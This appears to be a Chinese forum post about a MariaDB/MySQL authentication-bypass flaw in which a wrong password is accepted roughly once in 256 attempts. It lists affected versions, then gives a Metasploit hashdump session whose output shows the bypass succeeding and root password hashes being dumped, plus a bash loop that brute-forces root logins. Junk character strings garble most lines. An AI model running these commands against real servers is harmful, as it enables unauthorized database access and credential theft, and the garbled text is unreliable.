当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
: I% s0 U8 `) [1 S& Z0 W5 K! J' x/ E/ H2 F- s
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
$ H- t4 Y2 p- _8 C8 i/ D% l# n
# q/ ^7 ?+ o# s% |9 _8 e" {受影响的产品:7 }$ k2 w2 H0 J. k. E. [
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are9 o( b- M$ m/ J, O8 ?5 v6 ]
vulnerable.2 K6 U+ _, H$ U, W, `' E/ ]
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.4 p; d6 Q `5 @0 c% k! t' T1 y7 z
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
! Y& t. o; u: e/ |* X9 H" o
) L/ G2 B0 J; ?. }* m8 e+ a验证方法:) F& }$ _7 z7 U$ v! c
0 M7 c& {/ S3 T7 p/ Q9 n* y" w
$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
0 M' j( Z9 Z0 t2 v; e
* y8 v. C& z8 K. v( U $ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>
9 \" V5 {) F. w; n8 S5 i |